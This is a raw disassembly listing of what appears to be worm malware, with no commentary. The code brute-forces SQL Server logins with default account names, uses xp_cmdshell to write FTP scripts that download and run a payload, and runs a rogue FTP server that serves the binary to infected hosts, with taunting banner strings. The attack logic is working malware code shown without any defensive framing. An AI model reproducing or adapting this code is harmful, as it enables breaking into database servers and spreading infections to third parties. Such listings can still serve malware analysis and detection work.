sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D


loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: seg002:00423008o
		test	ds:byte_46976C,	1
		jnz	short loc_404EF6
		or	ds:byte_46976C,	1


loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: seg000:00405188p

var_E3C		= byte ptr -0E3Ch
var_A3C		= byte ptr -0A3Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E3Ch
		mov	al, ds:byte_438FAC
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], offset aRoot ; "root"
		mov	[ebp+var_34], offset aAdmin ; "admin"
		mov	[ebp+var_30], offset aAdministrator ; "administrator"
		mov	[ebp+var_2C], offset aMysql ; "mysql"
		mov	[ebp+var_28], offset aSql ; "sql"
		mov	[ebp+var_24], offset aVb_0 ; "vb"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	ds:dword_43A30C
		test	ax, ax
		jnz	short loc_404F84
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	ds:dword_43A410
		test	ax, ax
		jz	short loc_404F8B


loc_404F84:				; CODE XREF: sub_404F08+63j
		xor	eax, eax
		jmp	loc_405164
; ---------------------------------------------------------------------------


loc_404F8B:				; CODE XREF: sub_404F08+7Aj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	ds:dword_43A30C
		test	ax, ax
		jnz	loc_405157
		test	esi, esi
		push	ebx
		jz	loc_405148
		mov	edi, ds:dword_421060
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C], eax
		mov	ebx, offset aCilevb_com	; "Cilevb.com"


loc_404FBD:				; CODE XREF: sub_404F08+1EBj
		cmp	ds:off_42C34C, 0
		jz	loc_4050E7
		mov	eax, offset off_42C34C
		mov	esi, eax


loc_404FD1:				; CODE XREF: sub_404F08+13Ej
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A3C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E3C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	ds:dword_43A3C4
		test	ax, ax
		jz	short loc_40504D
		cmp	ax, 1
		jz	short loc_40504D
		push	1F4h
		call	edi ; dword_421060
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FD1
		jmp	loc_4050E7
; ---------------------------------------------------------------------------


loc_40504D:				; CODE XREF: sub_404F08+127j
					; sub_404F08+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	ds:dword_43A30C
		push	ebx
		push	ebx
		call	sub_415545
		push	eax
		call	sub_415545
		push	eax
		push	ds:dword_438FCC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154E9
		add	esp, 20h
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A34C
		test	ax, ax
		jz	short loc_4050DC
		mov	esi, 1388h
		push	esi
		call	edi ; dword_421060
		push	ebx
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A34C
		test	ax, ax
		jz	short loc_4050F8
		push	esi
		call	edi ; dword_421060


loc_4050DC:				; CODE XREF: sub_404F08+19Bj
		push	[ebp+var_8]
		push	3
		call	ds:dword_43A3A4


loc_4050E7:				; CODE XREF: sub_404F08+BCj
					; sub_404F08+140j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_405148
		jmp	loc_404FBD
; ---------------------------------------------------------------------------


loc_4050F8:				; CODE XREF: sub_404F08+1CFj
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_405126
		push	0
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_405126:				; CODE XREF: sub_404F08+1FEj
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]


loc_405148:				; CODE XREF: sub_404F08+9Ej
					; sub_404F08+1E9j
		push	[ebp+var_10]
		push	2
		call	ds:dword_43A3A4
		mov	edi, [ebp+var_18]
		pop	ebx


loc_405157:				; CODE XREF: sub_404F08+95j
		push	[ebp+var_14]
		push	1
		call	ds:dword_43A3A4
		mov	eax, edi


loc_405164:				; CODE XREF: sub_404F08+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051BC	proc near		; CODE XREF: seg000:004053BAp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp+var_C], eax
		mov	ax, ds:word_4266F8
		push	eax
		call	ds:dword_43A388
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A408
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052D5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052D5
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		mov	esi, offset aCilevb_com	; "Cilevb.com"
		push	esi
		push	esi
		push	ds:dword_438FCC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052D5
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052D9


loc_4052D5:				; CODE XREF: sub_4051BC+51j
					; sub_4051BC+67j ...
		xor	al, al
		jmp	short loc_4052F7
; ---------------------------------------------------------------------------


loc_4052D9:				; CODE XREF: sub_4051BC+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		push	ebx
		call	ds:dword_43A420
		mov	al, 1


loc_4052F7:				; CODE XREF: sub_4051BC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	ds:dword_4211C8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405326
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4211D8	; inet_addr
		mov	ebx, eax
		jmp	short loc_40532C
; ---------------------------------------------------------------------------


loc_405326:				; CODE XREF: seg000:00405316j
		mov	ebx, [ebp+0C0h]


loc_40532C:				; CODE XREF: seg000:00405324j
		push	11h
		push	2
		push	2
		call	ds:dword_4211E0	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_405356
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	short loc_405359
; ---------------------------------------------------------------------------


loc_405356:				; CODE XREF: seg000:0040533Cj
		mov	[ebp-0Ch], ebx


loc_405359:				; CODE XREF: seg000:00405354j
		test	esi, esi
		jz	short loc_405367
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40536D
; ---------------------------------------------------------------------------


loc_405367:				; CODE XREF: seg000:0040535Bj
		mov	word ptr [ebp-10h], 2


loc_40536D:				; CODE XREF: seg000:00405365j
		push	598h
		call	ds:dword_4211DC	; ntohs
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4	; connect
		test	eax, eax
		jnz	short loc_4053F2
		push	eax
		push	152h
		push	offset dword_4265A4
		push	edi
		call	ds:dword_4211EC	; send
		push	3E8h
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051BC
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053CE
		push	1
		pop	eax
		jmp	short loc_405404
; ---------------------------------------------------------------------------


loc_4053CE:				; CODE XREF: seg000:004053C7j
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]
		jmp	short loc_405402
; ---------------------------------------------------------------------------


loc_4053F2:				; CODE XREF: seg000:0040538Bj
		push	1
		push	edi
		call	ds:dword_4211CC	; shutdown
		push	edi
		call	ds:dword_4211F0	; closesocket


loc_405402:				; CODE XREF: seg000:004053F0j
		xor	eax, eax


loc_405404:				; CODE XREF: seg000:004053CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405409	proc near		; DATA XREF: seg000:0040749Co

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_4211B0	; WSAStartup
		push	edi
		call	sub_416AD4
; ---------------------------------------------------------------------------
		push	eax
		call	sub_41553B
		push	0FA00h
		push	471h
		call	sub_41409A
		add	esp, 10h
		mov	ds:dword_438FCC, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_4211E0	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_4211B4	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4211B8	; ioctlsocket
		mov	ax, word ptr ds:dword_438FCC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_4211DC	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211BC	; bind
		test	eax, eax
		jge	short loc_4054DE
		mov	eax, ebx
		jmp	loc_405A05
; ---------------------------------------------------------------------------


loc_4054DE:				; CODE XREF: sub_405409+CCj
		push	0Ah
		push	esi
		call	ds:dword_4211C0	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054FC:				; CODE XREF: sub_405409+12Cj
					; sub_405409+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4211D0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405A02
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054FC


loc_405537:				; CODE XREF: sub_405409+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059F0
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055EE
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4211C4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059F0
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_4055B8
		lea	edx, [ebp+var_224]


loc_4055A8:				; CODE XREF: sub_405409+1ADj
		cmp	[edx], eax
		jz	short loc_4055B8
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4055A8


loc_4055B8:				; CODE XREF: sub_405409+197j
					; sub_405409+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055D6
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055D6
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055D6:				; CODE XREF: sub_405409+1B5j
					; sub_405409+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055DE
		mov	[ebp+var_4], eax


loc_4055DE:				; CODE XREF: sub_405409+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_4211EC
		jmp	loc_4059F0
; ---------------------------------------------------------------------------


loc_4055EE:				; CODE XREF: sub_405409+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4211E8	; recv
		test	eax, eax
		jg	short loc_405655
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405649
		lea	eax, [ebp+var_224]


loc_405615:				; CODE XREF: sub_405409+216j
		cmp	[eax], edi
		jz	short loc_405623
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_405615
		jmp	short loc_405649
; ---------------------------------------------------------------------------


loc_405623:				; CODE XREF: sub_405409+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405643
		lea	eax, [ebp+ecx*4+var_224]


loc_40562F:				; CODE XREF: sub_405409+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40562F


loc_405643:				; CODE XREF: sub_405409+21Dj
		dec	[ebp+var_228]


loc_405649:				; CODE XREF: sub_405409+204j
					; sub_405409+218j
		push	edi
		call	ds:dword_4211F0	; closesocket
		jmp	loc_4059F0
; ---------------------------------------------------------------------------


loc_405655:				; CODE XREF: sub_405409+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_415910
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405699
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405699:				; CODE XREF: sub_405409+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056BD
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_4056BD:				; CODE XREF: sub_405409+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E1
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_4056E1:				; CODE XREF: sub_405409+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405705
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405705:				; CODE XREF: sub_405409+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_426900
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405729
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_405409+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_405764:				; CODE XREF: sub_405409+335j
					; sub_405409+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------


loc_40579F:				; CODE XREF: sub_405409+370j
					; sub_405409+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057ED
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057DD:				; CODE XREF: sub_405409+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_4211EC
		xor	esi, esi


loc_4057E5:				; CODE XREF: sub_405409+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059DE
; ---------------------------------------------------------------------------


loc_4057ED:				; CODE XREF: sub_405409+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40582E
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057DD
; ---------------------------------------------------------------------------


loc_40582E:				; CODE XREF: sub_405409+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405901
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_415A5F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_415A5F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415570
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154E9
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416A89
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154E9
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_4211EC
		jmp	loc_4057E5
; ---------------------------------------------------------------------------


loc_405901:				; CODE XREF: sub_405409+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059BC
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_4211EC
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_405A0C
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4059B2
		call	sub_405A89
		cmp	eax, 1
		jnz	loc_4059DE
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_4211EC
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_438FCC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_426744
		push	eax
		call	sub_4154E9
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_4059A3
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412D4E
		add	esp, 14h


loc_4059A3:				; CODE XREF: sub_405409+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	short loc_4059DE
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_405409+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059DB
; ---------------------------------------------------------------------------


loc_4059BC:				; CODE XREF: sub_405409+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DE
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059DB:				; CODE XREF: sub_405409+28Bj
					; sub_405409+2AFj ...
		push	edi
		call	ebx ; dword_4211EC


loc_4059DE:				; CODE XREF: sub_405409+3DFj
					; sub_405409+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch


loc_4059F0:				; CODE XREF: sub_405409+160j
					; sub_405409+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405537
		jmp	loc_4054FC
; ---------------------------------------------------------------------------


loc_405A02:				; CODE XREF: sub_405409+11Ej
		push	1
		pop	eax


loc_405A05:				; CODE XREF: sub_405409+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0C	proc near		; CODE XREF: sub_405409+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4211B0	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_4211E0	; socket
		push	[ebp+arg_0]
